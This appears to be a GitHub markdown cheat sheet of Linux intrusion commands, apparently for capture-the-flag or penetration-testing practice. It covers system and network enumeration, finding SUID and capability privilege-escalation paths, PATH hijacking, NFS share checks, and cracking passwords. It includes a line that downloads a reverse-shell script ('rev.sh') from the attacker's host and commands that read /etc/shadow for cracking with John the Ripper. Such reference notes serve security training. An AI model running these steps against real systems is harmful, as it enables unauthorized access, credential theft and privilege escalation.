Skip to content

Latest commit

 

History

History
230 lines (169 loc) · 4.07 KB

Intrusion-Linux.md

File metadata and controls

230 lines (169 loc) · 4.07 KB

Intrusion phase (Linux)

Enumeration

ls -la
ls -l /home
hostname
hostname -A
uname -a
cat /proc/version
cat /etc/issue
# View all running processes
ps -A
# View process tree
ps axjf
# Show processes for all users
ps aux
# environmental variables
env
# path variables
echo $PATH
# list sudoer commands
sudo -l -l
id
cat /etc/passwd
history
# network interfaces
ifconfig
# which network routes exist
ip route
# list open TCP ports
netstat -at
# list open UDP ports
netstat -au
# list listening ports
netstat -l
# list network usage statistics by protocol
netstat -s
# show interface statistics
netstat -i
# find "flag" in the current directory
find . -name *flag*.txt -type f 2>/dev/null
# find "flag" in the home directory
find /home -name *flag*.txt -type f 2>/dev/null
# find the directory named "config"
find / -type d -name config -type f 2>/dev/null
# find files with the 777 permissions
find / -type f -perm 0777 -type f 2>/dev/null
# find executable files
find / -perm a=x -type f 2>/dev/null
# find files of user "frank" under home
find /home -user frank -type f 2>/dev/null
# find files last modified in 10 days
find / -mtime 10 -type f 2>/dev/null
# find files last accessed in 10 days
find / -atime 10 -type f 2>/dev/null
# find files last changed  in 10 days
find / -ctime 10 -type f 2>/dev/null

Privilege Escalation

# find world-writeable folders
find / -perm -o w -type d 2>/dev/null
# find world-executable folders
find / -perm -o x -type d 2>/dev/null
# find development tools and supported languages:
find / -name perl* 2>/dev/null
find / -name python* 2>/dev/null
find / -name gcc* 2>/dev/null
# find files with the SUID bit
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm /4000 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
# list enabled capabilities
getcap -r / 2>/dev/null

Enumeration Tools

Can't create or write file ?

find writeable folder

find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u

HTTP Server

python3 -m http.server
wget <my_ip>:8000/rev.sh

SUID

image

Cron job

expect for a scheduled task that runs with root privileges

cat /etc/crontab

image

Chmod UID

# SetUID bit enforces user ownership on an executable file	
chmod u+s
# SetGID bit enforces group ownership on files and directories
chmod g+s

image

Capatilities

getcap -r / 2>/dev/null

image

PATH

# add /tmp to PATH
export PATH=/tmp:$PATH

image

NFS

cat /etc/exports

image

enumerating mountable shares

showmount -e <ip>

Cracking

Hash identify

hash-identifier
# or haiti-hash
gem install haiti-hash
# or name-that-hash
pip3 install name-that-hash

John the ripper

base64 /etc/passwd | base64 --decode | tail -n4
base64 /etc/shadow | base64 --decode | tail -n4
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
john --show passwords.txt

Hashcat

image